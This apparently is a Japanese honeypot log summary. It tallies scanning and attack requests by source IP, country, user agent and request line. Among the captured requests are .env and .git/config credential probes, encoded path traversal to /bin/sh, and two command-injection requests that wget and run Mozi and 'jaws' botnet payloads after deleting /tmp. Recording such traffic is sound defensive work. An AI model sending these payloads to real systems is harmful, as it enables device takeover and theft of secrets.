4 GET http[:]//test[.]getproxylist[.]com/ HTTP/1.1
1 HEAD /icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png HTTP/1.1
1 HEAD /icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png HTTP/1.1
1 HEAD /icons/.%2e/%2e%2e/apache2/icons/sphere1.png HTTP/1.1
1 HEAD /icons/sphere1.png HTTP/1.1
1 POST /.env.development HTTP/1.1
1 POST /.env.dist HTTP/1.1
1 POST /.env.old HTTP/1.1
1 POST /.env.prod HTTP/1.1
1 POST /.env.production HTTP/1.1
1 POST /.env.project HTTP/1.1
1 POST /.env.save HTTP/1.1
1 POST /.env HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /admin-app/.env HTTP/1.1
1 POST /api/.env HTTP/1.1
1 POST /app/.env HTTP/1.1
1 POST /application/.env HTTP/1.1
1 POST /apps/.env HTTP/1.1
2 POST /assets/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /assets/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /back/.env HTTP/1.1
5 POST /boaform/admin/formLogin HTTP/1.1
2 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /cms/.env HTTP/1.1
1 POST /core/.env HTTP/1.1
1 POST /cp/.env HTTP/1.1
11 POST /css/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /css/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /development/.env HTTP/1.1
1 POST /docker/.env HTTP/1.1
1 POST /enviroments/.env.production HTTP/1.1
1 POST /enviroments/.env HTTP/1.1
1 POST /fedex/.env HTTP/1.1
2 POST /js/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /js/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /laravel/.env HTTP/1.1
1 POST /live_env HTTP/1.1
1 POST /local/.env HTTP/1.1
1 POST /private/.env HTTP/1.1
1 POST /rest/.env HTTP/1.1
1 POST /script/.env HTTP/1.1
1 POST /shared/.env HTTP/1.1
1 POST /sources/.env HTTP/1.1
1 POST /system/.env HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
1 14.139.216.56 India
2 31.7.63.42 Panama
1 45.12.253.165 Bulgaria
1 45.56.108.128 United States
2 45.79.172.21 United States
1 45.79.181.94 United States
1 45.79.181.251 United States
1 45.83.23.218 Cyprus
1 45.156.129.2 Hungary
1 47.88.87.97 United States
1 47.89.193.162 United States
1 49.213.185.91 Taiwan
1 51.158.37.186 France
6 54.36.115.221 France
21 54.37.79.75 France
2 64.62.197.22 United States
2 66.175.213.4 United States
1 66.240.192.82 United States
1 68.183.54.68 United States
1 78.158.201.35 Russia
2 79.124.56.98 Bulgaria
2 79.137.65.46 France
4 83.97.73.89 Germany
1 84.54.50.20 Bulgaria
3 84.54.51.109 Bulgaria
2 87.120.88.17 Bulgaria
2 87.251.64.11 Russia
1 91.191.209.202 Bulgaria
1 107.170.250.10 United States
1 107.182.128.12 United States
2 109.237.98.226 Russia
1 110.235.250.18 Cambodia
1 117.194.172.104 India
1 120.85.183.180 China
10 142.93.48.215 United States
2 152.89.198.113 Russia
2 162.142.125.224 United States
2 167.94.138.126 United States
2 167.94.145.59 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
2 172.104.53.95 United States
1 172.105.128.11 United States
1 172.105.128.12 United States
1 179.43.177.244 Panama
11 185.65.135.140 Sweden
2 185.224.128.219 Netherlands
1 198.199.96.67 United States
1 198.235.24.22 United States
1 198.235.24.112 United States
1 220.94.228.162 South Korea

UserAgent一覧

件数 UserAgent
32 -
11 Custom-HttpClient
1 Go-http-client/1.1
1 Hello, world
2 Mozilla/5.0 (Linux; Android 10; LIO-AN00 Build/HUAWEILIO-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Mobile Safari/537.36
1 Mozilla/5.0 (Linux; Android 4.1.2; SHV-E250S Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
4 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
1 Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 630) like Gecko
28 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
1 Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
7 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.0
2 masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)
1 python-requests/2.28.1
1 python-requests/2.31.0

リクエスト内容一覧

件数 Method Request Protocol
2 -
3 \x03
1 \x16\x03\x01\x01H\x01
17 \x16\x03\x01
2 \x16\x03\x03\x01\x8e\x01
1 ``
28 GET /.env HTTP/1.1
3 GET /.git/config HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /Public/home/js/check.js HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin/config.php HTTP/1.0
1 GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0
1 GET /bundle.js HTTP/1.1
1 GET /client/get_targets HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
10 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
2 GET /manager/html HTTP/1.1
1 GET /manager/text/list HTTP/1.1
1 GET /phpunit.xml HTTP/1.0
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+95[.]214[.]27[.]201/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /static/admin/javascript/hetong.js HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /upl.php HTTP/1.1
1 GET /utils/.git/config HTTP/1.1
1 GET http[:]//azenv[.]net/ HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /assets/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /assets/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
9 POST /boaform/admin/formLogin HTTP/1.1
2 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /css/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /css/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /js/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
1 POST /js/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0